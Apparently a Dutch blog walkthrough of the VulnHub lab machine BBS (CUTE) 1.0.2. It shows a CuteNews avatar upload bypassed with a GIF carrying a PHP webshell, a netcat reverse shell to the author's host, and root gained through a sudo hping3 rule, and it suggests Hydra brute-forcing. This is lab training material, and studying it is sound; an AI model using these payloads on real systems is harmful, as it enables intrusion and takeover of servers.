Naam | BBS (CUTE): 1.0.2 |
Auteur | foxlox |
URL | https://www.vulnhub.com/entry/bbs-cute-102,567/ |
Niveau | Beginner |
Interne ID | 180 |
Interne naam | CuteBBS |
Tags | Web, privesc |
Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.
nmap -p- 10.0.1.180 -sV -O -A
De uitvoer van de scan toont aan dat er meerdere poorten geopend zijn:
Poort | Service |
22 | OpenSSH 7.91 |
80 | Apache httpd 2.4.38 |
88 | nginx 1.14.2 |
110 | Courier POP3D |
995 | Courier POP3D (SSL) |
Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een standaard apache pagina.
Vaak duidt zo’n standaard startpagina er op dat er een applicatie in een submap draait, of onder een andere URL dan de standaard geconfigureerde startpagina. Dit onderzoek ik met dirb. Ik gebruik -r om te voorkomen dat dirb alle submappen recursief bij langs gaat, voor alsnog ben ik alleen in de inhoud van de rootmap geinteresseerd.
dirb http://10.0.1.180 -r
Dit levert het beeld op dat er inderdaad een applicatie is geïnstalleerd op de website, ik zie mappen als core, docs, libs, manual, uploads en skins. Ook is te zien dat er een index.php bestand aanwezig is.
Als ik de url http://10.0.1.180/index.php open word ik begroet door een login pagina van CuteNews.
Ik probeer me te registeren als een nieuwe gebruiker, gebruikersnaam en password: hacker.
Helaas wordt er om een captcha gevraagd die ik niet kan zien. Tijd om de web developers tools van de pagina te openen en te kijken wat er precies wordt geladen.
Het wordt al snel duidelijk dat er een captcha.php wordt geladen, als ik de volledige URL kopieer en in de browser plak krijg ik een captcha die ik kan gebruiken voor het registreren. Deze captcha verandert steeds als ik de pagina opvraag.
uzaleg
Nadat ik geregistreerd ben kan ik naar mijn profiel gaan. Daar kan ik een avatar uploaden, dat soort dingen zijn altijd interessant omdat je de functie misschien kunt gebruiken om bestanden te uploaden naar de webserver, bijvoorbeeld een shell.
<?php system($_GET[‘cmd’]); ?>
Ik begin met het uploaden van een kleine 50×50 gif, dat werkt.
Ik vraag de locatie van de afbeelding op en krijg te zien dat afbeeldingen in de upload map terchtkomen (en dat de website blijkbaar op cute.calipendula draait).
Vervolgens probeer ik een .php bestand met een eenvoudig script om commando’s uit te voeren te uploaden. De website geeft meteen een foutmelding dat de avatar ongeldig is. Jammer.
Vaak zijn dit soort uploadscripts voorzien van een controle op type bestand wat geupload wordt. De controle vindt meestal plaats op basis van de header van het bestand. Ik plak achter mijn 50×50 gifje het php shellscript en upload het bestand.
copy 50.gif 50pl.gif
cat pl.php >> 50pl.gif
Dit keer lukt het wel, het controle script kijkt dus niet naar het hele bestand, maar wordt er ook gecontroleerd op extensie? Ik hernoem mijn gif + script bestand zodat deze de extensie .php krijgt en upload het bestand opnieuw als avatar.
Succes! De site accepteert mijn gif + script bestand, zelfs met extensie .php.
Eerder had ik de url van het bestand al ontdekt en zou nu commando’s uit moeten kunnen voeren op de webserver door het commando als parameter cmd mee te geven.
Ik begin met het commando id om te kijken onder welke user de website draait.
hiervoor open ik in mijn browser de url http://10.0.1.80/uploads/avatar_hacker_50pl.php?cmd=id
Het antwoord wat terugkomt bevat eerst een hoop rommel (dat is de afbeeldingsdata van het gif bestand wat ik als basis heb gebruikt), gevolgd door de uitvoer van het id commando. Het blijkt dat de website onder www-data draait.
Reverse shell
Nu het mogelijk is om commando’s op de server uit te voeren is het tijd om een shell te bemachtigen, hiervoor probeer ik eerst om met het commando nc een reverse shell op te bouwen. Dit houdt in dat de webserver een connectie gaat maken met mijn eigen PC en, zodra de connectie is opgebouwd een shell aanbiedt.
Hiervoor voer ik lokaal in een terminal het volgende commando uit om te luisteren op poort 4444 naar binnenkomende verbindingen.
nc -nvlp 4444
In een browser open ik de volgende URL:
http://10.0.1.180/uploads/avatar_hacker_50pl.php?cmd=nc -nv 10.99.0.2 4444 -e /bin/sh
Ik zie in het terminalvenster dat er een verbinging binnenkomt op poort 4444.
Dat er een shell is controleer ik met het commando id.
Om een volledige tty shell te krijgen moet nog wat gedaan worden, python blijkt op de machine te zijn geïnstalleerd, dus ik gebruik het volgende commando
python -c 'import pty;pty.spawn("/bin/bash")'
Dit levert een échte shell op, eerst eens kijken wat deze user allemaal mag doen via sudo:
sudo -l
User www-data may run the following commands on cute:
(root) NOPASSWD: /usr/sbin/hping3 –icmp
Aha, blijkbaar kan ik hping3 uitvoeren, momenteel ben ik niet bekend met het commando, maar laten we eens kijken wat het doet.
hping3
Het is een shell waarin gewoon commando’s uitgevoerd kunnen worden, via whoami is te zien dat de shell onder root draait.
In de /home directory kom ik nog een homedirectory tegen van een gebruiker ‘fox’.
Vervolg
Het zou interessant kunnen zijn om te kijken of het mogelijk is iets met de ‘fox’ gebruiker te doen om binnen te komen via een andere route. De pop3 server zou mogelijk bruikbaar zijn om gebruikersnamen te brute-forcen (via VRFY commando als de server dat ondersteunt).
Ook zou een aanval via Hydra op zowel de pop3 server als op de ssh server een optie kunnen zijn.